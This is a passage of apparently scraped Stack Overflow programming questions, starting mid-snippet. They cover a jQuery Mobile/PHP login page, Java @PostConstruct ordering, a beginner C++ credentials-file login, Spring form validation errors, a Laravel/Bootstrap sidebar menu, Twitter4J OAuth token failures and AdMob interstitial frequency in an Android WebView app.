"opacity": 0.96, top: $(window).scrollTop() + 100 }) .appendTo( $.mobile.pageContainer ) .delay( 2000 ) .fadeOut( 400, function(){ $(this).remove(); }); } function showError(message){ $('&lt;div class="ui-loader ui-overlay-shadow ui_body_error ui-corner-all"&gt;&lt;h1&gt;'+message+'&lt;/h1&gt;&lt;/div&gt;').css({ "display": "block", "opacity": 0.96, top: $(window).scrollTop() + 100 }) .appendTo( $.mobile.pageContainer ) .delay( 2000 ) .fadeOut( 400, function(){ $(this).remove(); }); } return false; }); });</code></pre> </div> </div> </p> <p>This is login.php: <div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;?php // ob_start(); include_once('../services/session.php'); ?&gt; &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;!-- Ohne den viewort ist es wie ne Desktopanwendung --&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1" /&gt; &lt;link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.css" /&gt; &lt;link rel="stylesheet" href="css/custom.css" /&gt; &lt;script src="http://code.jquery.com/jquery-1.11.1.min.js"&gt;&lt;/script&gt; &lt;script src="http://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="js/login.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="page" data-role="page"&gt; &lt;div id="header" data-role="header"&gt; &lt;h1&gt; Fahrtenliste &lt;/h1&gt; &lt;/div&gt; &lt;div id="content" data-role="content"&gt; &lt;p&gt; This is index &lt;/p&gt; &lt;/div&gt; &lt;div id="footer" data-role="footer" data-position="fixed"&gt; &lt;div data-role="navbar"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="login.php" data-icon="grid"&gt;List rides&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#add_ride" data-icon="plus" data-rel="dialog"&gt;Add ride&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#list_users" data-icon="grid"&gt;List users&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#add_user" data-icon="plus"&gt;Add user&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="add_ride" data-role="dialog"&gt; &lt;div id="header" data-role="header"&gt; &lt;h1&gt; Add ride &lt;/h1&gt; &lt;/div&gt; &lt;div id="content" data-role="content"&gt; &lt;div id="rideForm"&gt; &lt;label for="fahrtUserName"&gt;Ride creator &lt;?php echo $_SESSION['user_email']; ?&gt;&lt;/label&gt; &lt;div id="fahrtUserName" data-role="field_contain"&gt; &lt;input type="text" name="fahrt_username" value="&lt;?php echo $_SESSION['user_email']." &lt;-&gt; "; if(!isset($_SESSION['user_email'])) { echo "Die session hatja nix"; } ?&gt;" readonly="readonly" id="fahrt_username" /&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="list_users" data-role="page"&gt; &lt;div id="header" data-role="header"&gt; &lt;h1&gt; List users &lt;/h1&gt; &lt;/div&gt; &lt;div id="content" data-role="content"&gt; &lt;p&gt; List users &lt;/p&gt; &lt;/div&gt; &lt;div id="footer" data-role="footer" data-position="fixed"&gt; &lt;div data-role="navbar"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="login.php" data-icon="grid"&gt;List rides&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#add_ride" data-icon="plus"&gt;Add ride&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#list_users" data-icon="grid"&gt;List users&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#add_user" data-icon="plus"&gt;Add user&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="add_user" data-role="page"&gt; &lt;div id="header" data-role="header"&gt; &lt;h1&gt; Add user &lt;/h1&gt; &lt;/div&gt; &lt;div id="content" data-role="content"&gt; &lt;p&gt; Add user &lt;/p&gt; &lt;/div&gt; &lt;div id="footer" data-role="footer" data-position="fixed"&gt; &lt;div data-role="navbar"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="login.php" data-icon="grid"&gt;List rides&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#add_ride" data-icon="plus"&gt;Add ride&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#list_users" data-icon="grid"&gt;List users&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="login.php#add_user" data-icon="plus"&gt;Add user&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p>
3
4,113
having issues calling a method in java
<p>a simple question but i litterally can not remember, basically i want to run java methods in an certain order, i did have it working perfectly, but i have had to add something to the start and now it will not run in order </p> <p>Basically before was this code, </p> <pre><code>@PostConstruct public void init() { //System.out.println(destinationPDF); //System.out.println(destination); // Get the username from the login page, this is used to create a folder for each user System.out.println("called get username"); username = FacesContext.getCurrentInstance().getExternalContext().getRemoteUser(); } public void File() { File theFile = new File(destination + username); // will create a sub folder for each user (currently does not work, below hopefully is a solution) theFile.mkdirs(); System.out.println("Completed File"); } </code></pre> <p>it would run and automatically call the next required method, it would call them in this order :</p> <pre><code>INFO: buttonToUploadText invoked INFO: called get username INFO: called handle file INFO: Completed Creation of folder INFO: Now in copying of file proccess INFO: Completed Creation of folder for copy of PDF INFO: End of copying file creation INFO: Called CopyFile INFO: New file created! INFO: Copying is now happening </code></pre> <p>But i have added a new method, that calls variables from a file :</p> <pre><code>@PostConstruct public void loadProp() { System.out.println("Loading properties"); InputStream in = this.getClass().getClassLoader().getResourceAsStream("config.properties"); //points to a properties file, this will load up destinations instead of having to declare them here try { configProp.load(in); System.out.println(configProp.getProperty("destinationPDF")); System.out.println(configProp.getProperty("destination")); System.out.println(configProp.getProperty("fileList")); } catch (IOException e) { e.printStackTrace(); } } </code></pre> <p>This now must run first when it is triggered in order to declare variables, however now it will now run public void int() once complete instead it skips a lot and runs public void handleFileUpload</p> <p>so what is the best way of calling public void init() from public void loadProp() {</p> <p>Edit 2:</p> <pre><code> private Properties configProp = new Properties(); public void loadProp() { System.out.println("Loading properties"); InputStream in = this.getClass().getClassLoader().getResourceAsStream("config.properties"); //points to a properties file, this will load up destinations instead of having to declare them here try { configProp.load(in); System.out.println(configProp.getProperty("destinationPDF")); System.out.println(configProp.getProperty("destination")); System.out.println(configProp.getProperty("fileList")); } catch (IOException e) { e.printStackTrace(); } } private String destinationPDF = configProp.getProperty("destinationPDF"); public String destination = configProp.getProperty("destination"); private String username; //public static String destination = "D:/Documents/NetBeansProjects/printing~subversion/fileupload/uploaded/"; // main location for uploads//TORNADO ONLY //"D:/My Documents/NetBeansProjects/printing~subversion/fileupload/uploaded/"; // USE ON PREDATOR ONLY public static String NewDestination; public static String UploadedfileName; public static String CompletefileName; // //Strings for file copy // //private String destinationPDF = "D:/Documents/NetBeansProjects/printing~subversion/fileupload/web/resources/pdf/"; //USE ON TORNADO//"D:/My Documents/NetBeansProjects/printing~subversion/fileupload/web/resources/pdf/";//USE ON PREDATOR private String NewdestinationPDF; public static String PdfLocationViewable; // @PostConstruct public void init() { FileUploadController.loadProp(); //System.out.println(destinationPDF); //System.out.println(destination); // Get the username from the login page, this is used to create a folder for each user System.out.println("called get username"); username = FacesContext.getCurrentInstance().getExternalContext().getRemoteUser(); } </code></pre>
3
1,467
stuck at reading credentials from txt file correctly
<p>I am stuck at reading credentials from txt file. what am I doing wrong?</p> <p>I can successfully create new file each time and open it but don't know in what format should I save so I can read it correctly. like should I make separate file for username/email and passcode or one file. should I save username and passcode at same line or next line.</p> <p>I am a student and just trying to make program in order to learn so please avoid any silly mistake made by me.</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;fstream&gt; using namespace std; bool status; //system(&quot;clear&quot;); int counter = 0; string new_passcode = &quot;0&quot;, confirm_passcode = &quot;0&quot;, em, pw, temp2; char acc_check; string email, passcode; string temp; string temp_email; //int index = 1;ss bool login() { //string email, passcode, em, pw; ifstream read; read.open(&quot;credentials.txt&quot;, ios::in); if (read.is_open()) { while (!read.eof()) { getline(read, temp_email); //getline(read, pw); cout &lt;&lt; temp_email &lt;&lt; endl; //cout &lt;&lt; pw &lt;&lt; endl; } do { cout &lt;&lt; &quot;Please enter your email id&quot; &lt;&lt; endl; cin &gt;&gt; email; cout &lt;&lt; &quot;please enter your passcode&quot; &lt;&lt; endl; cin &gt;&gt; passcode; temp = email + passcode; if (temp_email == temp &amp;&amp; /*pw == passcode &amp;&amp;*/ counter &lt; 3) { cout &lt;&lt; &quot;login successful&quot;; return true; } else { counter++; cout &lt;&lt; &quot;Trials left :&quot; &lt;&lt; 3 - counter &lt;&lt; endl; } } while (temp_email != temp /*&amp;&amp; pw != passcode)*/ &amp;&amp; counter &lt; 3); cout &lt;&lt; &quot;blocked&quot;; //return false; } else cout &lt;&lt; &quot;unable to open file&quot;; read.close(); } int main() { cout &lt;&lt; &quot;Login syetem&quot; &lt;&lt; endl; cout &lt;&lt; &quot;Do you already have acc ,press Y/N&quot; &lt;&lt; endl; cin &gt;&gt; acc_check; if (acc_check == 'N' || acc_check == 'n') { int passcode_loop = 0; do { cout &lt;&lt; &quot;Sign Up!&quot; &lt;&lt; endl; cout &lt;&lt; &quot;Enter your email&quot; &lt;&lt; endl; getline(cin &gt;&gt; ws, email); cin.ignore(1000, '\n'); cout &lt;&lt; &quot;Enter your passcode&quot; &lt;&lt; endl; cin &gt;&gt; new_passcode; cout &lt;&lt; &quot;confirm your passcode&quot; &lt;&lt; endl; cin &gt;&gt; confirm_passcode; if (new_passcode == confirm_passcode) { passcode_loop = 1; ofstream file_2(&quot;credentials.txt&quot;, ios::out | ios::app); file_2 &lt;&lt; email &lt;&lt; new_passcode &lt;&lt; &quot;\n&quot;; file_2.close(); } else { cout &lt;&lt; &quot;Passcode didn't match ,enter password again&quot;; system(&quot;clear&quot;); } } while (passcode_loop == 0); } else if (acc_check == 'Y' || acc_check == 'y') { login(); } else cout &lt;&lt; &quot;invalid answer&quot;; return 0; } </code></pre>
3
1,821
Spring form validate : Whitelabel Error Page
<pre><code> @RequestMapping(method = RequestMethod.GET, value = "/add") public ModelAndView add() throws ConferenceNotFoundException { LOGGER.debug("Getting adding page"); return new ModelAndView("conference/add", "form", new ConferenceForm()); } @RequestMapping(method = RequestMethod.POST, value = "/add") public String handleAddConferenceForm(@Valid @ModelAttribute("form") ConferenceForm form, BindingResult bindingResult, @ModelAttribute("currentUser") CurrentUser currentUser) { LOGGER.debug("Processing add conference form={}, bindingResult={}", form, bindingResult); form.setHost(currentUser.getUser()); if (bindingResult.hasErrors()) { // failed validation return "conference/add"; } try { conferenceService.create(form); } catch (Exception e) { e.printStackTrace(); } // ok, redirect return "redirect:/"; } </code></pre> <p><a href="https://i.stack.imgur.com/ynVT6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ynVT6.png" alt="enter image description here"></a></p> <p>I make spring form like above the code. And it works well like above the picture.</p> <pre><code>@RequestMapping(method = RequestMethod.GET, value = "/{id}/admin/update") public ModelAndView update(Model model, @PathVariable("id") Long id) throws ConferenceNotFoundException { LOGGER.debug("Getting update page"); Conference conference = conferenceService.findById(id); model.addAttribute("conference", conference); return new ModelAndView("conference/update", "form", new ConferenceForm(conference)); } @RequestMapping(method = RequestMethod.POST, value = "/{id}/admin/update") public String handleUpdateConferenceForm(@Valid @ModelAttribute("form") ConferenceForm form, @PathVariable("id") Long id, BindingResult bindingResult, @ModelAttribute("currentUser") CurrentUser currentUser) { LOGGER.debug("Processing update conference form={}, bindingResult={}", form, bindingResult); form.setHost(currentUser.getUser()); if (bindingResult.hasErrors()) { // failed validation return "conference/update"; } try { conferenceService.update(form, id); } catch (Exception e) { e.printStackTrace(); } // ok, redirect return "redirect:/conferences/" + id + "/admin"; } </code></pre> <p><a href="https://i.stack.imgur.com/lr5oj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lr5oj.png" alt="enter image description here"></a></p> <p>Otherwise, above the code does not work well. It's validator works well and it update the contents. But it generate <code>Whitelabel Error Page</code> when validator works.</p> <p>I don't know why it generate <code>Whitelabel Error Page</code>.</p>
3
1,206
Why in bootstrap 4.1 left aside menu icon to dropdown items is not on valid place?
<p>I have a left aside menu with submenus in laravel 5.7 / blade/ Bootstrap 4.1 app and if some element of submenu is opened I want to keep open parent menu item. I tried to keep it ny current control name as :</p> <pre><code>&lt;?php $manage_storage= ($current_controller_name == 'ClientsController'); ?&gt; &lt;div class="sidebar-header"&gt; @if(isset($app_name))&lt;h3&gt;{{ $app_name }}&lt;/h3&gt;@endif &lt;/div&gt; &lt;ul class="list-unstyled components"&gt; &lt;li&gt; &lt;a href="#users_submenu" data-toggle="collapse" aria-expanded="false" class="dropdown-toggle"&gt;Manage Users&lt;/a&gt; &lt;ul class="collapse list-unstyled" id="users_submenu"&gt; &lt;li&gt; &lt;a href="#"&gt;Manage Departments&lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="#"&gt;Manage Users&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="#manage_storage_submenu" data-toggle="@if($manage_storage) dropdown @else collapse @endif" aria-expanded="@if($manage_storage) true @else false @endif" class="@if($manage_storage) @else dropdown-toggle @endif"&gt;Manage Storage&lt;/a&gt; &lt;ul class="collapse list-unstyled @if($manage_storage) show @endif" id="manage_storage_submenu"&gt; &lt;li class=" @if($current_controller_name == 'ClientsController') active @endif "&gt; &lt;a href="{{ url('admin/clients') }}"&gt;Manage Clients&lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a href="#"&gt;Manage Locations&lt;/a&gt; &lt;/li&gt; &lt;li class=" @if($current_controller_name == 'WarehousesController') active @endif "&gt; &lt;a href="{{ url('admin/warehouses') }}" &gt;Manage Warehouses&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; </code></pre> <p>So if clients page is opened, then Manage Storage menu must be opened.</p> <p>But it does not work as I expected: Please, open : <a href="http://demo2.nilov-sergey-demo-apps.tk/admin/warehouses/2/edit" rel="nofollow noreferrer">http://demo2.nilov-sergey-demo-apps.tk/admin/warehouses/2/edit</a> It is under credentials admin@demo.com 111111</p> <p>look at <a href="http://demo2.nilov-sergey-demo-apps.tk/admin/dashboard" rel="nofollow noreferrer">http://demo2.nilov-sergey-demo-apps.tk/admin/dashboard</a> and <a href="http://demo2.nilov-sergey-demo-apps.tk/admin/clients" rel="nofollow noreferrer">http://demo2.nilov-sergey-demo-apps.tk/admin/clients</a> pages for the first page (when Manage Storage is not opened) icon to dropdown submenu items is in other place of the page: on the second page( when Manage Storage is opened ) I do not see the icon to dropdown submenu items.</p> <p>How to fix it ?</p> <p><strong>UPDATED BLOCK # 1</strong> Setting </p> <pre><code>&lt;li style="position: relative;"&gt; </code></pre> <p>Icon is on its proper place, but “Manage Storage” is not clickable. I tried and did not find any difference with “Manage Users” menu item, which has no php code in itself and works ok. What is wrong?</p> <p><strong>UPDATED BLOCK # 2:</strong> I checked my html generated code under <a href="https://validator.w3.org" rel="nofollow noreferrer">https://validator.w3.org</a> and got error :</p> <pre><code>Error: Bad value false for attribute aria-expanded on element a. From line 96, column 4; to line 96, column 112 ive;"&gt;↩ &lt;a href="#manage_storage_submenu" data-toggle=" collapse " aria-expanded=" false " class=" dropdown-toggle "&gt;&lt;span </code></pre> <p>I think that the error is called by space in aria-expanded= definition, as I had blade source :</p> <pre><code> &lt;a href="#manage_storage_submenu" data-toggle="@if($manage_storage) dropdown @else collapse @endif" aria-expanded="@if($manage_storage) true @else false @endif" class="@if(!$manage_storage) dropdown-toggle @endif"&gt;&lt;span style="text-decoration: underline"&gt;Manage Storage&lt;/span&gt;&lt;/a&gt; </code></pre> <p>But if I remove space in aria-expanded= definition I got blade syntax error. Could it raise my problems? Which is the valid way here?</p> <p>Thanks!</p>
3
1,796
Twitter4J Failed request token
<p>Hi i'm using <a href="http://www.londatiga.net/it/how-to-post-twitter-status-from-android/comment-page-2/" rel="nofollow">this tutorial</a></p> <p>for my twitter test project and i already change :</p> <p>from</p> <blockquote> <p>mHttpOauthprovider = new DefaultOAuthProvider("<a href="http://twitter.com/oauth/request_token" rel="nofollow">http://twitter.com/oauth/request_token</a>", "<a href="http://twitter.com/oauth/access_token" rel="nofollow">http://twitter.com/oauth/access_token</a>", "<a href="http://twitter.com/oauth/authorize" rel="nofollow">http://twitter.com/oauth/authorize</a>"); </p> </blockquote> <p>to</p> <blockquote> <p>mHttpOauthprovider = new DefaultOAuthProvider("<a href="https://api.twitter.com/oauth/request_token" rel="nofollow">https://api.twitter.com/oauth/request_token</a>", "<a href="https://api.twitter.com/oauth/access_token" rel="nofollow">https://api.twitter.com/oauth/access_token</a>","<a href="https://api.twitter.com/oauth/authorize" rel="nofollow">https://api.twitter.com/oauth/authorize</a>");</p> </blockquote> <p>my problem is, when my apps in <a href="https://dev.twitter.com/apps/" rel="nofollow">https://dev.twitter.com/apps/</a>, if i didn't fill Callback URL in that edittext, I will get error :</p> <blockquote> <p>05-08 11:47:08.070: W/System.err(20424): oauth.signpost.exception.OAuthCommunicationException: Communication with the service provider failed: <a href="https://api.twitter.com/oauth/request_token" rel="nofollow">https://api.twitter.com/oauth/request_token</a> 05-08 11:47:08.070: W/System.err(20424): at oauth.signpost.AbstractOAuthProvider.retrieveToken(AbstractOAuthProvider.java:214) 05-08 11:47:08.070: W/System.err(20424): at oauth.signpost.AbstractOAuthProvider.retrieveRequestToken(AbstractOAuthProvider.java:69) 05-08 11:47:08.070: W/System.err(20424): at sg.tv.SocialGate.TwitterCore.TwitterApp$2.run(TwitterApp.java:152) 05-08 11:47:08.070: W/System.err(20424): Caused by: java.io.FileNotFoundException: <a href="https://api.twitter.com/oauth/request_token" rel="nofollow">https://api.twitter.com/oauth/request_token</a> 05-08 11:47:08.075: W/System.err(20424): at libcore.net.http.HttpURLConnectionImpl.getInputStream(HttpURLConnectionImpl.java:177) 05-08 11:47:08.075: W/System.err(20424): at libcore.net.http.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java:271) 05-08 11:47:08.075: W/System.err(20424): at oauth.signpost.basic.HttpURLConnectionResponseAdapter.getContent(HttpURLConnectionResponseAdapter.java:18) 05-08 11:47:08.075: W/System.err(20424): at oauth.signpost.AbstractOAuthProvider.handleUnexpectedResponse(AbstractOAuthProvider.java:228) 05-08 11:47:08.080: W/System.err(20424): at oauth.signpost.AbstractOAuthProvider.retrieveToken(AbstractOAuthProvider.java:189) 05-08 11:47:08.080: W/System.err(20424): ... 2 more</p> </blockquote> <p>but when I fill that Callback URL I didnt get any issue. But I want to left that Callback URL edittext blank, how to solve that issue? thank you </p>
3
1,146
How can I limit interstitial ad opening?
<p>I am a newbie in the developing section, recently I'm trying to edit the source code of the web view application. But the problem is every time of &quot;backpress&quot; interstitial ad appears. Which is huge disturbing. Tried to change back press code but after doing that ads totally diseapred. Now I'm confused that how can I solve this problem. Because if a web view app show ads every back press, probably google will not approve it on play store even if accepts then people will not use this app.</p> <p>I've tried to limit but cannot understand, please help me. If this is possible the ad shows only one time of back press or at least a limited backpress.</p> <p>Thanks in advance &lt;3 &lt;3</p> <h2>mainactivity.java</h2> <pre><code> //Views public Toolbar mToolbar; public View mHeaderView; public TabLayout mSlidingTabLayout; public SwipeableViewPager mViewPager; //App Navigation Structure private NavigationAdapter mAdapter; private NavigationView navigationView; private SimpleMenu menu; private WebFragment CurrentAnimatingFragment = null; private int CurrentAnimation = 0; //Identify toolbar state private static int NO = 0; private static int HIDING = 1; private static int SHOWING = 2; //Keep track of the interstitials we show private int interstitialCount = -1; private InterstitialAd mInterstitialAd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); ThemeUtils.setTheme(this); setContentView(R.layout.activity_main); mToolbar = (Toolbar) findViewById(R.id.toolbar); mHeaderView = (View) findViewById(R.id.header_container); mSlidingTabLayout = (TabLayout) findViewById(R.id.tabs); mViewPager = (SwipeableViewPager) findViewById(R.id.pager); setSupportActionBar(mToolbar); mAdapter = new NavigationAdapter(getSupportFragmentManager(), this); final Intent intent = getIntent(); final String action = intent.getAction(); if (Intent.ACTION_VIEW.equals(action)) { String data = intent.getDataString(); ((App) getApplication()).setPushUrl(data); } //Hiding ActionBar/Toolbar if (Config.HIDE_ACTIONBAR) getSupportActionBar().hide(); if (getHideTabs()) mSlidingTabLayout.setVisibility(View.GONE); hasPermissionToDo(this, Config.PERMISSIONS_REQUIRED); RelativeLayout.LayoutParams lp = (RelativeLayout.LayoutParams) mViewPager.getLayoutParams(); if ((Config.HIDE_ACTIONBAR &amp;&amp; getHideTabs()) || ((Config.HIDE_ACTIONBAR || getHideTabs()) &amp;&amp; getCollapsingActionBar())){ lp.topMargin = 0; } else if ((Config.HIDE_ACTIONBAR || getHideTabs()) || (!Config.HIDE_ACTIONBAR &amp;&amp; !getHideTabs() &amp;&amp; getCollapsingActionBar())){ lp.topMargin = getActionBarHeight(); } else if (!Config.HIDE_ACTIONBAR &amp;&amp; !getHideTabs()){ lp.topMargin = getActionBarHeight() * 2; } mViewPager.setLayoutParams(lp); //Tabs mViewPager.setAdapter(mAdapter); mViewPager.setOffscreenPageLimit(mViewPager.getAdapter().getCount() - 1); mSlidingTabLayout.setupWithViewPager(mViewPager); mSlidingTabLayout.addOnTabSelectedListener(new TabLayout.OnTabSelectedListener() { @Override public void onTabSelected(TabLayout.Tab tab) { if (getCollapsingActionBar()) { showToolbar(getFragment()); } mViewPager.setCurrentItem(tab.getPosition()); showInterstitial(); } @Override public void onTabUnselected(TabLayout.Tab tab) { } @Override public void onTabReselected(TabLayout.Tab tab) { } }); for (int i = 0; i &lt; mSlidingTabLayout.getTabCount(); i++) { if (Config.ICONS.length &gt; i &amp;&amp; Config.ICONS[i] != 0) { mSlidingTabLayout.getTabAt(i).setIcon(Config.ICONS[i]); } } //Drawer if (Config.USE_DRAWER) { getSupportActionBar().setDisplayShowHomeEnabled(true); getSupportActionBar().setDisplayHomeAsUpEnabled(true); DrawerLayout drawer = ((DrawerLayout) findViewById(R.id.drawer_layout)); ActionBarDrawerToggle toggle = new ActionBarDrawerToggle( this, drawer, mToolbar, 0, 0); drawer.addDrawerListener(toggle); toggle.syncState(); //Menu items navigationView = (NavigationView) findViewById(R.id.nav_view); menu = new SimpleMenu(navigationView.getMenu(), this); configureMenu(menu); if (Config.HIDE_DRAWER_HEADER) { navigationView.getHeaderView(0).setVisibility(View.GONE); navigationView.setFitsSystemWindows(false); } else { if (Config.DRAWER_ICON != R.mipmap.ic_launcher) ((ImageView) navigationView.getHeaderView(0).findViewById(R.id.drawer_icon)).setImageResource(Config.DRAWER_ICON); else { ((ImageView) navigationView.getHeaderView(0).findViewById(R.id.launcher_icon)).setVisibility(View.VISIBLE); ((ImageView) navigationView.getHeaderView(0).findViewById(R.id.drawer_icon)).setVisibility(View.INVISIBLE); } } } else { ((DrawerLayout) findViewById(R.id.drawer_layout)).setDrawerLockMode(DrawerLayout.LOCK_MODE_LOCKED_CLOSED); } MobileAds.initialize(this, new OnInitializationCompleteListener() { @Override public void onInitializationComplete(InitializationStatus initializationStatus) { } }); //Admob if (!getResources().getString(R.string.ad_banner_id).equals(&quot;&quot;)) { // Look up the AdView as a resource and load a request. AdView adView = (AdView) findViewById(R.id.adView); AdRequest adRequest = new AdRequest.Builder().addTestDevice(AdRequest.DEVICE_ID_EMULATOR).build(); adView.loadAd(adRequest); } else { AdView adView = (AdView) findViewById(R.id.adView); adView.setVisibility(View.GONE); } if (getResources().getString(R.string.ad_interstitial_id).length() &gt; 0 &amp;&amp; Config.INTERSTITIAL_INTERVAL &gt; 0){ mInterstitialAd = new InterstitialAd(this); mInterstitialAd.setAdUnitId(getResources().getString(R.string.ad_interstitial_id)); AdRequest adRequestInter = new AdRequest.Builder().addTestDevice(AdRequest.DEVICE_ID_EMULATOR).build(); mInterstitialAd.loadAd(adRequestInter); mInterstitialAd.setAdListener(new AdListener() { @Override public void onAdClosed() { // Load the next interstitial. mInterstitialAd.loadAd(new AdRequest.Builder().addTestDevice(AdRequest.DEVICE_ID_EMULATOR).build()); } }); } //Application rating AlertDialog.Builder builder = new AlertDialog.Builder(this) .setTitle(getString(R.string.rate_title)) .setMessage(String.format(getString(R.string.rate_message), getString(R.string.app_name))) .setPositiveButton(getString(R.string.rate_yes), null) .setNegativeButton(getString(R.string.rate_never), null) .setNeutralButton(getString(R.string.rate_later), null); new AppRate(this) .setShowIfAppHasCrashed(false) .setMinDaysUntilPrompt(2) .setMinLaunchesUntilPrompt(2) .setCustomDialog(builder) .init(); //Showing the splash screen if (Config.SPLASH) { findViewById(R.id.imageLoading1).setVisibility(View.VISIBLE); //getFragment().browser.setVisibility(View.GONE); } //Toolbar styling if (Config.TOOLBAR_ICON != 0) { getSupportActionBar().setTitle(&quot;&quot;); ImageView imageView = findViewById(R.id.toolbar_icon); imageView.setImageResource(Config.TOOLBAR_ICON); imageView.setVisibility(View.VISIBLE); if (!Config.USE_DRAWER){ imageView.setScaleType(ImageView.ScaleType.FIT_START); } } } // using the back button of the device @Override public void onBackPressed() { View customView = null; WebChromeClient.CustomViewCallback customViewCallback = null; if (getFragment().chromeClient != null) { customView = getFragment().chromeClient.getCustomView(); customViewCallback = getFragment().chromeClient.getCustomViewCallback(); } if ((customView == null) &amp;&amp; getFragment().browser.canGoBack()) { getFragment().browser.goBack(); } else if (customView != null &amp;&amp; customViewCallback != null) { customViewCallback.onCustomViewHidden(); } else { super.onBackPressed(); } } @Override public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); } @Override public boolean onCreateOptionsMenu(Menu menu) { MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu, menu); //Adjust menu item visibility/availability based on settings if (Config.HIDE_MENU_SHARE) { menu.findItem(R.id.share).setVisible(false); } if (Config.HIDE_MENU_HOME) { menu.findItem(R.id.home).setVisible(false); } if (Config.HIDE_MENU_NAVIGATION){ menu.findItem(R.id.previous).setVisible(false); menu.findItem(R.id.next).setVisible(false); } if (!Config.SHOW_NOTIFICATION_SETTINGS || Build.VERSION.SDK_INT &lt; Build.VERSION_CODES.LOLLIPOP){ menu.findItem(R.id.notification_settings).setVisible(false); } ThemeUtils.tintAllIcons(menu, this); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { WebView browser = getFragment().browser; if (item.getItemId() == (R.id.next)) { browser.goForward(); return true; } else if (item.getItemId() == R.id.previous) { browser.goBack(); return true; } else if (item.getItemId() == R.id.share) { getFragment().shareURL(); return true; } else if (item.getItemId() == R.id.about) { AboutDialog(); return true; } else if (item.getItemId() == R.id.home) { browser.loadUrl(getFragment().mainUrl); return true; } else if (item.getItemId() == R.id.close) { finish(); Toast.makeText(getApplicationContext(), getText(R.string.exit_message), Toast.LENGTH_SHORT).show(); return true; } else if (item.getItemId() == R.id.notification_settings){ Intent intent = new Intent(); intent.setAction(&quot;android.settings.APP_NOTIFICATION_SETTINGS&quot;); intent.putExtra(&quot;app_package&quot;, getPackageName()); intent.putExtra(&quot;app_uid&quot;, getApplicationInfo().uid); intent.putExtra(&quot;android.provider.extra.APP_PACKAGE&quot;, getPackageName()); startActivity(intent); } return super.onOptionsItemSelected(item); } @Override protected void onPause() { super.onPause(); } @Override protected void onResume() { super.onResume(); } /** * Showing the About Dialog */ private void AboutDialog() { // setting the dialogs text, and making the links clickable final TextView message = new TextView(this); // i.e.: R.string.dialog_message =&gt; final SpannableString s = new SpannableString( this.getText(R.string.dialog_about)); Linkify.addLinks(s, Linkify.WEB_URLS); message.setTextSize(15f); int padding = Math.round(20 * getResources().getDisplayMetrics().density); message.setPadding(padding, 15, padding, 15); message.setText(Html.fromHtml(getString(R.string.dialog_about))); message.setMovementMethod(LinkMovementMethod.getInstance()); // creating the actual dialog AlertDialog.Builder AlertDialog = new AlertDialog.Builder(this); AlertDialog.setTitle(Html.fromHtml(getString(R.string.about))) // .setTitle(R.string.about) .setCancelable(true) // .setIcon(android.R.drawable.ic_dialog_info) .setPositiveButton(&quot;ok&quot;, null).setView(message).create().show(); } /** * Set the ActionBar Title * @param title title */ public void setTitle(String title) { if (mAdapter != null &amp;&amp; mAdapter.getCount() == 1 &amp;&amp; !Config.USE_DRAWER &amp;&amp; !Config.STATIC_TOOLBAR_TITLE) getSupportActionBar().setTitle(title); } /** * @return the Current WebFragment */ public WebFragment getFragment(){ return (WebFragment) mAdapter.getCurrentFragment(); } /** * Hide the Splash Screen */ public void hideSplash() { if (Config.SPLASH) { if (findViewById(R.id.imageLoading1).getVisibility() == View.VISIBLE) { Handler mHandler = new Handler(); mHandler.postDelayed(new Runnable() { public void run() { // hide splash image findViewById(R.id.imageLoading1).setVisibility( View.GONE); } // set a delay before splashscreen is hidden }, Config.SPLASH_SCREEN_DELAY); } } } /** * Hide the toolbar */ public void hideToolbar() { if (CurrentAnimation != HIDING) { CurrentAnimation = HIDING; AnimatorSet animSetXY = new AnimatorSet(); ObjectAnimator animY = ObjectAnimator.ofFloat(getFragment().rl, &quot;y&quot;, 0); ObjectAnimator animY1 = ObjectAnimator.ofFloat(mHeaderView, &quot;y&quot;, -getActionBarHeight()); animSetXY.playTogether(animY, animY1); animSetXY.start(); animSetXY.addListener(new 